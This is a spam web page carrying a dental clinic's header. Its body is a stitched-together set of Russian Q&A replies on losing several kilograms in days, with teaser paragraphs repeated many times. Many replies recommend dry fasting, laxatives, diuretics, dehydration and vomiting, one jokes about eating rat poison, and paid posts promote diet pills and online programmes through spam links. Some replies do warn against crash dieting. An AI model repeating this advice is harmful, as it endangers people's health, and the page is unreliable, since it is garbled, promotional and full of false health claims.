Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как похудеть на 7 кг за неделю как уменьшить чувство голода

Яндекс тебе в помощь

Тема сегодняшнего дня - Весенняя диета за 7 дней можно похудеть от 4 до 7 кг.В среднем за зиму человек прибавляет в весе до четырех килограммов. Конечно, самое время подумать о сбалансированной весенней диете.

За неделю не получится

На 7 кг ты похудеешь за месяц, если будешь ХОДИТЬ -не менее часа в день быстрым шагом. Ешь 5-6 раз в день, но каждый раз порция не должна быть более 200 граммов.

СВЕЖАЯ МОРКОВЬ УТОЛЯЕТ АППЕТИТ

За неделю- не получиться, максимум 3 кг и то нужна и диете, и спортзал.

Я похудела на 6 кг за неделю с помощью популярной йогуртовой диеты которую разработал немецкий врач. Диета сбалансированная, лишние килограммы уходят без особого труда и вреда здоровью можете прочитать подробнее о данном методе здесь http://3ladies.ru/molochnaya-dieta-na-7-dnej

Похудеть на 7 кг за 7 дней очень сложно. Фактически вам придется голодать всю неделю, да и эта мера не гарантирует заветную цифру. Если интересно, можете почитать мнение доктора Агапкина о голодании.

А я просто пью Липрину и сижу на диете, сейчас сижу с Липриной на кофейной диете, с ней худеешь на 4 кг за 10 дней, и еще кофе является слабительным в своем роде если выпить его на тощак, поэтому ваш организм еще и очищается от шлаков во время диеты. До кофейной диеты сидела с Липриной на огуречной, за неделю -7 килограмм!

Как похудеть? за 1 день на 4 кг

Жить надоело?

Я за 7 дней похудела на 8 килограмм! Супер! Самое главное строго придерживаться диеты!Закончились 7 дней диеты и .. самое главное,не в тех кило,что я потеряла, их не так и много 3,5 кг . Главное, что я научилась обходиться без вредных для фигуры продуктов и значительно...

Не есть, бег, слабительное, жара

Веломарафон на 400 км в летний знойный день

Оооой весь день в качалке не вылазяя сидеть,. И не есть, да.

В баньку сходи, всю жидкость выпари из себя. Не пей ничего соответственно. Слабительного, да побольше. Правда добром не кончится)


Как похудеть за 3 дня на 5 - 10 кг в домашних условиях. Необходимо срочно похудеет к важному для вас мероприятию? Или же просто хотите порадоваться сдвинувшейся стрелке весов? Похудеть за 3 дня на 10 кг можно! Думаете диету с понедельника?

ЛЕКГО )))) 4 ЭНЕРГЕТИКА, 3 ТОЛСТОВКИ СВЕРХУ ВЕЩЬ МЕШОК кг НА 5 ЗА СПИНУ И БЕГОМ 15 КМ МОЖНО И НА 6- 8 ЗА ДЕНЬ) я реально перед соревнованиями, за три часа скидывал 2,5 кг в категорию не входил )))

Шоковое состояние, если умрет кто-нибудь из близких, но тогда вам будет все равно на сколько вы похудели

Это очень сурово и очень вредно. Худеть надо постепенно, при этом обязательно есть и пить воду. 4 кг за день не сбросите точно, зато и здоровье не разрушите.

Никак максимум 2 кг

Как похудеть за 18 дней на 4 кг?

Бегай по утрам и вечорам

За неделю питания по этой системе вы сбросите 15 кг, затем сделайте перерыв на 7 дней и снова повторите курс.Как ускорить метаболизм и похудеть. Формула индекса массы тела, программа похудения.

Ничего не есть. Человек и месяц может без еды прожить, но это вредно. Нехрен этими диетами увлекаться, жри, сколько угодно.

Не есть после 6, воды много пить, спорт, гречка в помощь в конце концов)

Если такие жесткие сроки, то отказаться от простых углеводов вообще, жира в сутки употреблять не более 20 г (но вообще не отказываться, т. к. метаболизм замедлится) , рацион "сдвинуть" в сторону белка и клетчатки.
плюс кардиотренинг ежедневно. ничего не есть за два часа до тренировки, и через два часа после тренировки. воды пить - литра 2 в день.
через 18 дней результат будет, главное, не сорваться и не лениться, ибо это будут весьма утомительные 18 дней ))

Я худела на 4 кг за 2 недели, это было перед свадьбой. Так что, это вполне реально! Во-первых, не есть после 4, кушать овощи и фрукты. Много заниматься спортом (приседания, пресс, поднимать ноги) . Я еще прошла курс жемчужных обертываний http://www.mirramedspb.ru/zhemchuzhnoe-obertivanie , еще и от целлюлита избавилась. Но все должно быть в комплексе.

Есть такая диета -5 кг за 10 дней БЕЗ ГОЛОДАНИЯ !!!Проверено на себе. ещё мой совет - заваривайте себе каждый день большой чайник зелёного чая
http://www.youtube.com/watch?v=Rts4Uo00VUs

На седьмой день - минус 4,5 кг. И это был рекорд за неделю!Нет, я лучше просто кашку поем в сво удовольствие, чем мучить любимый организм. Хотя мне и нужно похудеть, но я буду искать другой способ. ответить.

Бегать по утрам, ходить в тренажерку бегать на беговой дорожке, ходить в бассейн ну хотябы раза 3-4, не есть после 6 и не есть мучного

Да уж ты не первая которая задает этот вопрос!
Смотри тут худеем68.рф подробная информация о том как похудеть!

Как похудеть за 3 дня на 4 кг

Пить и двигаться

Четвертый день быстрой диеты в точности повторяет первый, и он является своеобразным выходом из диеты.5 полезных свойств ягод для нашей фигуры Пособчачились Татьяна Арно рассказала нам, как похудела на 10 кг.

3 стакана молока+3 банана. Можно делать коктейли, распределяйте. Но не на 4 кг похудеете, а на 3. Быстрее никак. Диета БЛИЦ называется, очищает кишечник

Ха ха)) Не есть ничего

В неделю вообще не рекомендуется худеть даже на 1 кг.

Сделать 3 круга вокруг земли за 3 дня.

Не есть. не пить, пить лишь воду

Кроме того, занятия в бассейне превосходно снимают стресс и даже способны лечить неврозы. Не менее популярным и полезным для здоровья является еще один способ, который способен помочь похудеть не менее чем на 7 кг за 30 дней это йога.

Возможно ли похудеть?

Newosmozhno

Можно похудеть за 7 дней от 4 до 7 кг. Через 2 недели можно повторить ее снова. развернуть.

Нет

Навекрно нет!!!! может хирургическим вмешательством да

Возможно, причинив большой вред здоровью. -------------

Если только отрубить себе какую-нибудь часть тела! :)
А так за 2 дня на 7 кг - нет.
Удачи! :)))

Можно. Зачем?

Хроника событий со всего мира Медицина Срочная диета - как похудеть за неделю на 7 кг.Для укрепления результатов и еще более низкой отметки на весах эту диету можно повторить через две недели. 1 день.

Впринц можно но ненужно потом будет плохо...

Нет.... врачи рекомендуют без вреда для здоровья худет 1 кг ЗА МЕСЯЦ..

Липосакция (от слова - липа)

Нет, это просто не реально..

Естественным путем нет. Даже если ты пить-есть, дышать не будешь! 1ВСЕ равно НЕ РЕАЛЬНО!! а вот при момощи пластики пожалуйста! Хоть сто кг тебе отрежут

Тема сегодняшнего дня - Весенняя диета за 7 дней можно похудеть от 4 до 7 кг.В среднем за зиму человек прибавляет в весе до четырех килограммов. Конечно, самое время подумать о сбалансированной весенней диете.

Можно, но непросто. именно столько могут сбрасывать спортсмены перед соревнованиями (борцы, боксеры) - но они тренированные и привычные.

....только наоборот!)

Липосакция, дорогая:)))

Похудеть нет. Жир так быстро не уходит. Если только за счёт потери воды и пустого кишечника и желудка снизится общий вес тела,

Да-хирургическим путем...
ну и если не есть ине пить мона до 4кг скинуть и приобрести гастрит и обезвоживание)

Похудеть на 7 кг за 7 дней очень сложно. Фактически вам придется голодать всю неделю, да и эта мера не гарантирует заветную цифру. Если интересно, можете почитать мнение доктора Агапкина о голодании.

Как похудеть за 2 дня на 4 кг помогитееееее

Дрочи без перерыва

Я за 7 дней похудела на 8 килограмм! Супер! Самое главное строго придерживаться диеты!Закончились 7 дней диеты и .. самое главное,не в тех кило,что я потеряла, их не так и много 3,5 кг . Главное, что я научилась обходиться без вредных для фигуры продуктов и значительно...

Даже если ты полностью откажешься от еды, то думаю, что максимум 2 -2.5 кг ты скинешь

Если под похудеть имеется ввиду избавиться от лишнего жира в организме, то за такой срок НИКАК.
Если важна только цифра на весах, то вполне реально.
Человек состоит в основном из воды, соответственно обезвоживание - вот ответ.
Не ешь, не пей, сауна, мочегонные и т. д. Но оправдано это только для спортсменов, и применяется перед взвешиванием, что бы попасть в более легкую весовую категорию.
Для обычного человека нужна долгосрочная диета нацеленная на сжигания жира.

Отрежь голову-мало того что она как раз 4-5 кг весит так еще и дурная. зачес тебе дурная голова?

4 кг - это не жир, а лишняя жидкость, которая задержалась в клетках. попробуйте сделать обертывания. У меня после обертываний с грязью Cell-plus объемы на глазах таяли.

Не нужно самой пытаться сбросить такой вес-это не возможно. Обычно много сбрасываешь, а потом мучаешься с последними 5 килограммами. Я год назад обращалась в некоторые онлайн-школы. После работы со школой Ракетас я наконец то потеряла ненавистные килограммы.. Первая неделя тестовая - бесплатная, не понравится-уйдешь. Обучение происходит дома и без голодовок. У них есть свой сайт.

Как похудеть за 3 дня на 5 - 10 кг в домашних условиях. Необходимо срочно похудеет к важному для вас мероприятию? Или же просто хотите порадоваться сдвинувшейся стрелке весов? Похудеть за 3 дня на 10 кг можно! Думаете диету с понедельника?

Помыться?

Http: //c.cpl2. ru/7egd Вот этот коктейль нужно заказывать. Здесь и акция есть, да и безобидное для здоровья + полезное. Не надо всякие таблетки глотать. Пробелы убери. Мне помогает, да и подругам посоветовала, тоже заказывают постоянно. Нужно худеть с пользой для здоровья!! !

Нужно взять в банке кредит под большой процент.... потому что в другом банке кредит не дают, а вам край как нужно! и нервничать, при каждой оплате, отстаивая в очереди по два часа, т. к. через банкомат с вас берут бешеные комиссионные с вашей суммы. А так же постоянно получать угрозы банка, даже если вы оплатили платёж за месяц и в срок, о сумме за просроченные дни платежа, хотя вы имеете квитанцию на руках... вам нужно будет звонить в этот банк, где сразу вас автоответчик начнёт нагибать, потом полчаса будете слушать мерзкую мелодию, которая запишется у вас на подкорке и затем, когда услышите голос оператора, не сможете собраться с мыслями - задать вопрос.. . ( даже если он у вас записан на листочке перед носом.. . ) , а оператор вас тоже начнёт нервировать вопросами и т. д.... Поверьте, с вас сойдёт не семь потов, а много больше.. . -такой лимфодренаж можно каждый месяц практиковать -. начнёте гарантированно худеть!

Голод, зеленый чай, сауна, большая физическая нагрузка до пота и то не факт, если надо взвеситься перед соревнованием, то можно еще очистительную клизму поставить

Как похудеть за 12 дней на 10 кг? Мне срочно нужно похудеть на 10 кг. Пожалуйста помогите... (

Не ходить в магазин и продать холодильник.. .

За неделю питания по этой системе вы сбросите 15 кг, затем сделайте перерыв на 7 дней и снова повторите курс.Как ускорить метаболизм и похудеть. Формула индекса массы тела, программа похудения.

Надо было меньше жрать

Все хотят быстро и всем срочно.. а потом последствия очень печальны

Только с операцией. даже голодая больше 4 кг не уйдёт

Накачай пресс!! ! Меньше жри. И перейди на здровую пищу

ЭТО БЕЗУМИЕ.

На седьмой день - минус 4,5 кг. И это был рекорд за неделю!Нет, я лучше просто кашку поем в сво удовольствие, чем мучить любимый организм. Хотя мне и нужно похудеть, но я буду искать другой способ. ответить.

Не нужно так над собой издеваться, не зацикливайтесь на своем весе, и проблема сама разрешится, вот почитайте историю http://experus.ru/stories/не-зацикливайтесь-на-похудении/1310

Кушай вареную курочку и рыбку с зеленью и салатом без масла. Только это и все. Чай кофе вода. Можно чай пополам с молоком.

Говорят гречневая диета помогает

Ой не паникуйте вы так. Я сталкивалась с этой проблемой. Конечно за двенадцать дней я вам не гарантирую что вы похудеете на 10 кг (хотя все возможно) . Попробуйте питаться по чуть чуть и купипь препарат который убивает чувство голода. Я таким пользовалась мне очень помогло Липрина называется. Я делала так 1 день готовила все в духовке, пароварке и ела без масла можно с приправой, пила чай с сахаром/кофе, ну короче полноценно питалась. Потом на след. день я выпивала Липрину и ела 1 раз в день, а то и вообще бывало не ела, просто забывала за еду, и мое ежедневное израсходование запасов жиров стоило мне - 1500 кг. Так что вот так я за месяц с 80 похудела на 65 кг. Попробуйте сесть на любую диету с Липриной, вы просто и быстро похудеете, если это для вас так срочно.

А если за месяц- другой, то Вас это не устроит?

Четвертый день быстрой диеты в точности повторяет первый, и он является своеобразным выходом из диеты.5 полезных свойств ягод для нашей фигуры Пособчачились Татьяна Арно рассказала нам, как похудела на 10 кг.

Моя жена давно занимается поиском "своей" диеты. Что только она не пробовала и кефирные диеты и гречневую. Пила разные препараты. У неё с детских лет проблема с лишним весом. В последнее время она стала задыхаться и подруга порекомендовала ей попробовать онлайн школу Ракета. Она у меня домоседка, что пришлось ей подуше так как можно заниматься своей фигурой невыходя из дома. Ещё привлекло внимание что первая неделя тестовая бесплатно. Потеряв 15 кг она стала гораздо жизнерадостнее и в других делах у неё появился энтузиазм.

С ума сошли? За 10 дней? Это очень тяжело и вредно для организма. Попробуйте вот что. Есть такая тема - программа ракетас. Они как раз предоставляют 7 дней бесплатного обучения. Может они вам смогут помочь. Подруга с ними за 7 дней потеряла около 6 кг. Что круто. http ://raketas.com/Учиться дома, голодать не надо, бесплатно. Попробуйте, все равно халява. Я сама вот буду записываться скоро. Только слопаю свои последние лазанью и торт.

Как похудеть на 4 кг?

Жрать меньше :D

Кроме того, занятия в бассейне превосходно снимают стресс и даже способны лечить неврозы. Не менее популярным и полезным для здоровья является еще один способ, который способен помочь похудеть не менее чем на 7 кг за 30 дней это йога.

Соблюдай диету, спроси у тренера

Не есть после 6 вечера

Диета Аткинса
или посиди на гречневой диете
на завтрак, обед и ужин
через неделю не будет даже больше чем 4

Диета, тренажорка.
если диета не подходит попробуй правильно питаться, не есть после 7

Рекомендации по диете при избыточном весе
1.Снизить потребление жира до 20-25г в день
2.Пить очень много воды (до 3х л в день при отсутствии противопоказаний)
3.Сахар заменить на мед
Завтрак
1.Каша (кроме манной) – овсянка, рис, горох, пшено, гречка (любая крупа на воде, вместо сахара – мед)
2.Фрукты
3.Компот или сок
Или: 1. Яйцо вкрутую (или кусочек рыбы)
2. Фрукты
3. Несладкий чай
Или: 1. Яйцо всмятку с зеленым луком и сухариками
2. Фрукты
3. Чай
Обед
1.Постный суп (или бульон, или нежирный суп)
2.Сухарики из черного хлеба
3.Кусочек отварного мяса или отварной курицы
Полдник
1.½ грейпфрукта или апельсина (или 3 мандарина)
2.½ стакана кефира или один йогурт
3.Один сухарик
Ужин
1.Салат из свежих или квашеных овощей (огурцы, помидоры, морковь, свекла, капуста, репа и др. ) заправить растительным маслом (лучше оливковым) ; добавить изюм, орехи, курагу, чернослив, чеснок (по вкусу)
2.Фрукты, сок, компот или несладкий чай
Примечание:
•Соблюдать диету не менее 6 недель.
•Исключить животные жиры (масло сливочное, молоко, сметану, сыр) .
•Все блюда вареные, тушеные или в свежем виде, но не жареные!
•Есть небольшими порциями (в 2 раза меньше обычных)
•Исключить сладкое, свежий хлеб, картофель
Разгрузочные дни
1-3 день – рис отварной в любом количестве + 3 литра томатного сока + свежие овощи +- отварные овощи вечером
4-6 день – курица отварная + апельсины + вода (до 3л – при отсутствии противопоказаний)
7-9 день: завтрак – овсяная или гречневая каша
обед – тушеные овощи + отварная рыба
ужин – нежирный творог

Можно похудеть за 7 дней от 4 до 7 кг. Через 2 недели можно повторить ее снова. развернуть.

Бегать будешь похудаешь и на скакалке
+ и у тебя выносливость повышытса

Чтобы похудеть на 4 кг надо худеть 8 дней по 0.5 кг круто я придумал)))

Один ..совет ...бегать ...без проблем... можно сбросить ...4 кг...

Http://fitnesspoint.ru/programma/

Бег, жиросжигатели, диета, интенсивные нагрузки.

Хроника событий со всего мира Медицина Срочная диета - как похудеть за неделю на 7 кг.Для укрепления результатов и еще более низкой отметки на весах эту диету можно повторить через две недели. 1 день.

Как похудеть 3 дня 40 кг сбросить

Ногу отрезать а лучше две))))))))

Тема сегодняшнего дня - Весенняя диета за 7 дней можно похудеть от 4 до 7 кг.В среднем за зиму человек прибавляет в весе до четырех килограммов. Конечно, самое время подумать о сбалансированной весенней диете.

40 кг за 3 дня? К хирургу.

40 кг за 3 дня это если тебе отрезать все лишнее )))нереально ()))))

Дура малолетняя....

Реально, только надо отравы мышиной нажраться, чтобы тебя рвало все 3 дня и понос был непрекращающийся. И тогда на 4-й день ты худышка такая, будешь в гробике клево смотреться

Вот это цель!

Похудеть на 7 кг за 7 дней очень сложно. Фактически вам придется голодать всю неделю, да и эта мера не гарантирует заветную цифру. Если интересно, можете почитать мнение доктора Агапкина о голодании.

Поможет бариатрическая операция.
http://youtu.be/0BEcNanr1Rg
Два-три дня в больнице.
http://youtu.be/sMxfruirTZ4 ФОТКИ МОИ

Как похудеть за неделю на 3-4 кг?

Не ешь

Я за 7 дней похудела на 8 килограмм! Супер! Самое главное строго придерживаться диеты!Закончились 7 дней диеты и .. самое главное,не в тех кило,что я потеряла, их не так и много 3,5 кг . Главное, что я научилась обходиться без вредных для фигуры продуктов и значительно...

Делайте больше физ упражнений

Слабительные и мочегонные ведрами

Секс 3-4 раза в час.

Есть по минимуму (не в ущерб здоровью) + бегать, много бегать.

Не есть картофель, хлеб и сладкое. И беговая дорожка 20 минут утром и 20 вечером.

Как похудеть за 3 дня на 5 - 10 кг в домашних условиях. Необходимо срочно похудеет к важному для вас мероприятию? Или же просто хотите порадоваться сдвинувшейся стрелке весов? Похудеть за 3 дня на 10 кг можно! Думаете диету с понедельника?

Много воды, кушать все вареное или приготовленое на пару, и без соли. Сладкое мучное исключить. Кушать до 6-7вечера.

Отруби руку

Ешь без соли+отказ от мучного, сладкого.

Устроить пару разгрузочных дней

Включите в рацион очень вкусный и полезный кофе от Sisel. Входит в программу для снижения веса. http://RUS1791787.mysiselkaffe.com

За неделю питания по этой системе вы сбросите 15 кг, затем сделайте перерыв на 7 дней и снова повторите курс.Как ускорить метаболизм и похудеть. Формула индекса массы тела, программа похудения.

Вредно столько сбрасывать за неделю. Я такой вес на редуксине лайт усиленная формула за месяц убрала, но по крайней мере организм не "посадила" и чувствую себе теперь человеком, килограммы не возвращаются!! ! А это в быстрых похудениях вечная проблема.

Японская диета

Как мама двоих детей я знаю, что очень сложно бороться с лишним весом при таком образе и ритме жизни. Перепробовала множество “чудодейственных средств” в виде таблеток, редуксинов, ягод годжы, серобуромалиновых кофе, чаёв, платырей и примочек. Заявляю категорически – кроме вреда для здоровья и временного снижения веса с последующим его набором – абсолютно никакой пользы! Около года назад мне порекомендовали Сергея Сивца. Это оказался первоклассный специалист по фитнесу и один из лучших диетологов Москвы. И просто хороший, отзывчивый человек. Очень рекомендую программы питания и программы тренировок Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Как похудеть. мне нужно похудеть, я видел что вы можете сказать как можно в день на 3-4 кг худеть

Девочки как похудеть за 20 дней на 10 кг?

Отвечают мальчики - НИКАК.

На седьмой день - минус 4,5 кг. И это был рекорд за неделю!Нет, я лучше просто кашку поем в сво удовольствие, чем мучить любимый организм. Хотя мне и нужно похудеть, но я буду искать другой способ. ответить.

Есть только полезную пищу и упорно заниматься тренировками.

Все это время усердные тренировки и жесткие диеты, но ты так и вред здоровью можешь нанести, это с врачом надо советоваться!!!

Я вагон цемента 67 тонн ( 1340 мешков по 50 кг ) разгрузил за 8 часов. похудел на 4 кг 900 грамм. на второй день разгрузил 30 тонн еще похудел на 3 кг. я не вру. утром спец взвесился и пошел на работу. в течении дня ничего не ел. только воду пил

Я, блин, не девочка, но подсказать могу.
1. Не есть после 18.00 НИКОГДА. Не есть мучного почти НИКОГДА.
2. Бегать не менее 3 км каждый день, тепло одевшись и обмотав талию мягким полиэтиленом.
3. Ежедневно 4 упр. с шестом на плечах.

Это много за такой срок, не получится

Четвертый день быстрой диеты в точности повторяет первый, и он является своеобразным выходом из диеты.5 полезных свойств ягод для нашей фигуры Пособчачились Татьяна Арно рассказала нам, как похудела на 10 кг.

Как похудеть за 1 день на 4кг? и возможно-ли это сделать?

Только под ножом хирурга.

Кроме того, занятия в бассейне превосходно снимают стресс и даже способны лечить неврозы. Не менее популярным и полезным для здоровья является еще один способ, который способен помочь похудеть не менее чем на 7 кг за 30 дней это йога.

Можно, весь день не есть не пить, бежать несколько километров, устал, отдохнул и опять несколько км, потом в баню несколько часов парится

На четыре килограмма не возможно, но можно попробовать устроить себе разгрузочный день, например только на кефире

Невозможно

За 1 день невозможно нажрать 4 кг, поэтому и избавиться не радикальными способами тоже невозможно. Обычно выход из проблемы занимает приблизительно столько же времени, как и вход.

Нет конечно)
Разве что слабительным лишние каки из организма ввести, но наберется ли там 4 кг....
Да и своим неправильным питанием после вы все равно наберете снова

Можно похудеть за 7 дней от 4 до 7 кг. Через 2 недели можно повторить ее снова. развернуть.

Вы что зашли сюда ругаться с людьми? Зачем вопросы тогда? По Вашему вопросу- 4 кг скинуть невозможно- если только целенаправленно клизмироваться, и то вряд ли.

Думаю можно, допустим разрузочный день устроить, но смысл? На следующий день если опять побежите гамбургеры лопать, вес всё равно вернется

Как похудеть на 5 кг за 4 дня ?

Не есть.

Хроника событий со всего мира Медицина Срочная диета - как похудеть за неделю на 7 кг.Для укрепления результатов и еще более низкой отметки на весах эту диету можно повторить через две недели. 1 день.

Нажрись слабительного.... пронесет так,... что все соки выжмет из тебя ))) буш терять за день по 1 кг ))))

Во первых на пять килограмм за 4 дня похудеть очень опастно для здоровья

Никак, не слушай этих диванных аналитиков, хотя слышал историю, как один футболист скидывал по киллограму в день за неделю, истязая себя физически и попав в реаниматорное отделение.

Отпилить себе голову. Похудение на 5 кг - обеспечено.

На борьбе есть способ: одеваешься в два свитера и бежишь по залу. На каждом углу тебя бросают через бедро, после чего быстро встаешь и дальше бежишь. И так мин. 30. Ребята скидывали по 1,5-2 кг за тренировку. Естественно в жизни никто бросать не будет, но можно выполнять такие же по интенсивности упражнения. Но опять же это стресс для организма и реально это в случае, если у тебя много жировой. А если твой рост 170 а вес 50 и ты хочешь скинуть 5 кг за такой срок, то здравствуй реанимация.

Тема сегодняшнего дня - Весенняя диета за 7 дней можно похудеть от 4 до 7 кг.В среднем за зиму человек прибавляет в весе до четырех килограммов. Конечно, самое время подумать о сбалансированной весенней диете.

А что будем делать с трупом, с отказавшими почками, посаженной печенью - вы уже придумали?!

Питька♥
Голод, но с ним уйдут только 3-4 кг.
И кстати, это зависит от ов.

Как похудеть за 10 дней на 5 кг?

Не жрать

Похудеть на 7 кг за 7 дней очень сложно. Фактически вам придется голодать всю неделю, да и эта мера не гарантирует заветную цифру. Если интересно, можете почитать мнение доктора Агапкина о голодании.

Питьевая диета.
у меня лично на ней за 6 дней ушло 5 кг

За 7 дней уходит до 10 кг. без возврата + очищается организм.
1 ДЕНЬ: питьевой (пьем все что хотим, в том числе бульоны)
2 ДЕНЬ: овощной (кушаем салаты в любом количестве, желательно с добавлением капусты (она жиросжигатель) )
3 ДЕНЬ: питьевой
4 ДЕНЬ: фруктовый (кушаем фрукты, желательно грейпфруты (жиросжигатель) )
5 ДЕНЬ: белковый (кушаем яйца, филе курицы (вареное) , можно йогурты)
6 ДЕНЬ: питьевой
7 ДЕНЬ: выход Завтрак: чай, 2 вареных яйца. Перекус: фрукт Обед: бульон (можно сварить легкий супчик с рисом или гречкой) Перекус: фрукт Ужин: салатик (заправка: растительное масло и соль)

Нужно худеть постепенно, а то потом вернётся, да еще и больше. И спортом заняться надо. Без спорта фигура красивой не станет.

В смысле что съесть чтоб похудеть? Тогда бесполезно. А если решимость есть - то белковый завтрак и витамины часов в 10-11 утра - и все. Пить побольше и почаще. Приготовьтесь к фокусом со здоровьем: потливость, головокружения, слабость, мозги не работают.. . Но реально вес уходит очень быстро.

Вам тут такое насоветовали, что можно умереть от таких советов! нормальная скорость похудения 700-1000 грамм в неделю! чистого жира! если уйдет 1000 грамм чистого жира вы просто себя в зеркале ну не узнаете!!!! оооочень почувствуется разница, даже от 500 грамм ушедшего жира. а если месяц правильно питаться, уходит 3,5-4 кг чистого жира, вы вообще летать будете, представьте с вас сняли гантелю 4 кг.. .
это только жир! при правильном питании за месяц по 12-15 кг может уйти (из них еще воды лишней много уходит, очищается кишечник и т д уйдут мышцы, которые не работают - но если спортом занимаетесь вы не бойтесь этого, у спортсменов мышцы не уйдет)
за 10 дней реально похудеть на 4 кг. из них примерно 1,2-1,5 кг уйдет чистого жира, питайтесь правильно и равномерно, сбалансированно, будьте здоровы!

Я за 7 дней похудела на 8 килограмм! Супер! Самое главное строго придерживаться диеты!Закончились 7 дней диеты и .. самое главное,не в тех кило,что я потеряла, их не так и много 3,5 кг . Главное, что я научилась обходиться без вредных для фигуры продуктов и значительно...

Сбрасывать в каждый день по 2000 к/кал. много заниматься физически, натощак больше ккал тратится) и завтракать нужно плотно! ужинать до 18:00

Как похудеть на 4-5 кг до лета? Напишите диеты, упражнения. Сейчас 160/47 (47,5 кг)

47 - худеть не надо))

Как похудеть за 3 дня на 5 - 10 кг в домашних условиях. Необходимо срочно похудеет к важному для вас мероприятию? Или же просто хотите порадоваться сдвинувшейся стрелке весов? Похудеть за 3 дня на 10 кг можно! Думаете диету с понедельника?

Куда ж худеть то еще? Идеальный вес это рост минус 110. Тебе поправлться надо на 3 кг.

Отказаться от жареного и жирного, всё на пару готовить, я на 20кг похудел за полгода

1 раз но хорошо сходить в туалет и 1 раз правильно баню порсетить. не веру, я серъезно

Как похудеть за 5 дней на 3-4 кг?

А СМЫСЛ? вернётся с лихвой. 3-4 кг можно потерять без возврата за 2 недели. А за 5 дней- просто пить воду, есть овощи, но больше ничего. На следующий же день после выхода из такой диеты вес вернётся.

За неделю питания по этой системе вы сбросите 15 кг, затем сделайте перерыв на 7 дней и снова повторите курс.Как ускорить метаболизм и похудеть. Формула индекса массы тела, программа похудения.

Ну например пей один кефир, скакалка обруч с утра зарядка, с такой диетой по утрам не побегаешь голова кружица буит_так что вот.

Попробуйте белковую диету, на форуме биокрасоты читала, что помогает, надо кушать мясо разное, куру, яйца, молочные продукты и тд а раз в нед можно расслабиться и кушать все


За 5 дней не как худеть надо постепенно что б вес не вернулся снова! исключи сладости и мучное!

Вы за месяц должны скидывать 4-8кг. а тут за 5 дней 4кг хотите.

На седьмой день - минус 4,5 кг. И это был рекорд за неделю!Нет, я лучше просто кашку поем в сво удовольствие, чем мучить любимый организм. Хотя мне и нужно похудеть, но я буду искать другой способ. ответить.

Ну мне например помогла диета даже не диета, а правильное питание. Мне назначил диетолог по программе от еат2фит следующее меню:
ЗАВТРАК: 9:00-9:30
Кукурузная каша с тыквой,
Перепелиные яйца на овощной подушке,
Апельсиново-Банановый фреш
ЗАВТРАК №2: 11:30-12:00
Грушевый чиз-кейк
ОБЕД: 14:30-15:00
Салат из пряной рукколы, черри томатов
и свежей моцареллы с базиликовым песто
Индийский суп из батата с кокосовым молоком
Кролик тушеный с ароматной тыквой в сметане с Киноа и овощами
Отвар из сухофруктов
ПОЛДНИК: 17:00-17:30
Овсяное печенье с миндалем
УЖИН: 19:00-19:30
Филе Спаруса с Печеными Кабачками и томатами с соусом из зеленой спаржи
УЖИН №2: 21:30-22:00
Кефир
Это один из вариантов конечно, поэтому рассматривать его как изо дня в день одно и тоже не надо. Но лично мне уже помогло сбросить 3 кг за 2 дня. Чувствуется легкость и пока не успеваю даже их снова набрать.

Пейте воду

За 5 дней только если не есть

Возможно ли похудеть на ~4 кг. за 5 дней? и ели да, подскажите диету

Сиди чисто на воде !

Четвертый день быстрой диеты в точности повторяет первый, и он является своеобразным выходом из диеты.5 полезных свойств ягод для нашей фигуры Пособчачились Татьяна Арно рассказала нам, как похудела на 10 кг.

Просто не ешь - 3 кг за 3 дня
уйдет вода и очистится кишечник от содержимого...

Тут только голод так как на диетах хоть чтото ешь а принцип голода -1кг за 1 день

Сухое голодание только может помочь. Выйдет излишек воды из организма и жир тоже уменьшится. Много зависит от того сколько лишнего веса имеется и чем больше его, тем дольше нужно голодать. Именно без воды и еды. Жир просто выгорит весь.

Съезди в донецк

Как похудеть за неделю на 4-3 кг Заранее спасибо)

Идешь в аптеку, покупаешь самый широкий пластырь, заклеиваешь на неделю рот. Профит!

Кроме того, занятия в бассейне превосходно снимают стресс и даже способны лечить неврозы. Не менее популярным и полезным для здоровья является еще один способ, который способен помочь похудеть не менее чем на 7 кг за 30 дней это йога.

Прочистить желудок и питаться одними яблоками, перед едой пить соленую воду (1 литр) . Результат 5-7 кг за неделю.


Никак, можно спустить воду и очистить кишки, это и будет 3-4 кг. Похудеть -значит убрать жир

В сутки есть продуктов, которые по калорийности в сумме не более 1200 калорий

Рвота, понос.

Можно похудеть за 7 дней от 4 до 7 кг. Через 2 недели можно повторить ее снова. развернуть.

Читала про арбузовую диету, где-то так и сбрасываешь. а вообще спортом обязательно заниматься.

Нифига не согласна с Амалией. Рот заклеить помогает не за неделю - за неделю только говно лишнее выйдет - это кг 1,5 - уже испробовано - на первой неделе Великого поста не ем. Лучше какую-нибудь водогонную диету типа английской или японской ( 0 соли разбалансированная) плюс слабительное. Можно еще в день Х мочегонку выпить. Похудеть вы не похудеете ( согласна с ИМХОимхо) , но весить будете меньше и объемы на время уменьшатся и в день Х в платье заветное влезть можно. Но на таких диетах сидеть вредно и потом все возвращается с дополнительными кг.
Надо вести дневник пищевой и вычислять продукты, которые надо убрать из рациона.
И конечно у эндокринолога или гинеколога выяснять причину лишнего веса.

Шерстяной спортивный костюм и на велосипед, чтоб до седьмого пота, после в душ. Так можно сбросить сколько угодно ...

Диета 6 лепестков рассчитана на 6 дней. В среднем 4 кг. улетит за 6дней при правильном соблюдении

За неделю?
Никак!

Хроника событий со всего мира Медицина Срочная диета - как похудеть за неделю на 7 кг.Для укрепления результатов и еще более низкой отметки на весах эту диету можно повторить через две недели. 1 день.

Мало кушать

Посоветуйте как похудеть на 4 кг за месяц не навредя здоровью?

Усиленно заниматься спортом.

Тема сегодняшнего дня - Весенняя диета за 7 дней можно похудеть от 4 до 7 кг.В среднем за зиму человек прибавляет в весе до четырех килограммов. Конечно, самое время подумать о сбалансированной весенней диете.

Бегай

Пить 2.5 литра воды в день
Выпивать 250-500 мл воды перед приемом еды
Кардио нагрузки
Исключить быстроусвояемые углеводы (сахар)

Активное занятие спортом. Бег. Прыг. Плав.

